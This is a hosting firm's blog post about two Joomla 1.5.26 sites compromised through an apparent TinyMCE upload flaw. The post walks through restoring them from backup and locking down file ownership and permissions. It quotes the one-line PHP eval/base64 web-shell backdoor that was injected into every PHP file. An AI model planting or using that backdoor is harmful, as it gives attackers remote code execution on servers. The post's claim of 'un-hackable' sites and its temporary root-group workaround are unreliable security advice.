We spent the past weekend working (yes, we work on weekends at itoctopus – in fact, we work all the time!) on two websites (each belonged to a high profile company in the US – one of them had 170,000 pages and the other had over a million pages indexed with Google). Both of these websites were hacked.
What was interesting that it was the same type of hack on both websites but it wasn’t the usual type (where the .htaccess and/or index.php and/or framework.php files is infected). It was a new type, where every single file falling under the Joomla website was infected (including files that did not really belong to Joomla). Each and every file with a .php extension was injected with the following code:
<?php eval(base64_decode($_REQUEST['varname'])); ?>
The above seemingly innocent code is far from being innocent – it allows a malicious visitor to freely execute any code on the server by simply passing base64_encoded PHP satement in varname (using GET or POST). The malicious visitor will be able to do the following (the list is not exhaustive as the possibilities are only limited by the permissions that Apache and the MySQL user have on the filesystem and the database respectively):
- Add viruses/malware to the website
-
Delete/alter files/directories that Apache has write permissions on
-
Drop/alter the database
But, how did this happen?
Both of these websites were running Joomla 1.5.26 – a no longer secure version of Joomla. We think the situation got to this point (where each file was hacked) the following way:
- A malicious visitor exploited the vulnerability in TinyMCE (the HTML editor) in that version of Joomla to upload a malicious file.
-
The malicious file then ran on all the website and injected the malicious eval code in the top of each and every page.
As you can see – it wasn’t a hard job to do that simply because both websites had open and well-known security holes.
What did we do to fix the problem?
Upgrading to to Joomla 2.5 was out of the question because it was going to take at least a week to do so for each website. Cleaning up the website was also out of the question because we literally had to clean thousands of files and we didn’t want to do it through a script because we were afraid that some files might not be cleaned properly and that some files might be corrupted by the script. Our only option was to revert to a backup.
So here’s what we did to fix the problem on each website:
- We nuked (e.g. completely removed) the Joomla directory. This step was necessary because we wanted to be sure that the website is having a fresh and clean start.
-
We restored the website from the last clean backup. Usually hosting companies keep backups for websites hosted with them for the past 7 days.
-
Once the website was restored, we immediately ssh’d (as root) to the server hosting the website, and we did the following:
- We issued a chown command to recursively change ownership for all the files and the directories falling under the website to root.
-
We changed permissions on all the files to 664. This means that only root and users belonging to the root’s group will be able to modify these files. We ensured that Apache (through its UNIX user, apache) did not belong to the root’s group (which should never be the case in a sound hosting environment). This way we made sure that the user apache is not able to write to any file on the filesystem – essentially reducing the potential of a code injection hack (in files) to 0 since all these malicious attacks run as the user apache.
-
We changed the permissions on all the directories to 775. (We’ll explain later why we chose these permissions instead of 755).
-
We gave the user apache write permissions to the following directories:
- cache
- images
- logs
- tmp
This is necessary because Joomla will not run properly if it doesn’t have write permissions to at least the above directories as Joomla 1) needs to write to the cache directory if caching is enabled, 2) occasionally needs to write to the images directory (if someone uploads an image through the media manager, for example), 3) needs to write to the logs directory if logging is enabled, and 4) always needs to write to the tmp directory to store session information. Now the questions is, what will happen if these directories where hacked? The answer is simple: it doesn’t matter. Because as long as the PHP files are owned by root and can only be changed by root and its group members, then the above directories will operate in silos – meaning that if something bad happens in any of these directories, that bad thing will remain inside that directory and will not contaminate other directories/files.
But how can extensions be installed?
To be able to install an extension, Joomla needs write access to core Joomla directories (such as components, modules, plugins, etc…). Obviously, when we apply the permission changes above, extensions can no longer be installed through Joomla’s interface. So, in order to overcome this limitation, the user apache needs to be temporarily added to the UNIX group root (that’s why we chose 775 as the permissions for the directories and not 755), and then the Joomla administrator can install the extensions that he wants. After that is done, the apache user needs to be removed from the root group.
But what if a malicious file was added to one of the directories that Joomla can write to?
This scenario is always possible if you’re running a compromised version of Joomla. As we stated above, this will not affect the normal day-to-day operation of the website because these directories will be silo’d. However, this does not mean that it’s acceptable to allow for hacked files to be thrown there, because this will make your website seem as a parasite host. In order to avoid that, you will need to run a cron job that will check all of your directories (that apache has write access to) for uploaded scripts and delete them immediately. Ideally, the script should run every 30 minutes and should email you whenever it deletes something as it might be a false positive.
But what about database hacks?
This post only covers how to secure the filesystem of a Joomla website (which is commonly hacked nowadays). Database hacks need to be addressed at the PHP code level (e.g. checking and fixing the code of the 3rd party extensions that you have installed on your Joomla website).
If your Joomla website is hacked – even it’s a very large website – then we can fix it for you. Contact us and we’ll start working on it immediately. We will ensure that by the time we finish working, your website will be much safer than before, and literally un-hackable at the filesystem level. Our rates are reasonable, our work is professional, and we will treat your website as if it’s ours!
[…] We have described these steps here. […]
[…] So now you’re probably wondering, what’s the solution? The solution, in our (ehemmm) humble opinion, is to not use suPHP at all for your Joomla website, and use something else that is more secure, something that will allow Apache to read PHP files even though they are owned by someone else (that someone else might be root), something that will allow you to protect your Joomla PHP files as described here. […]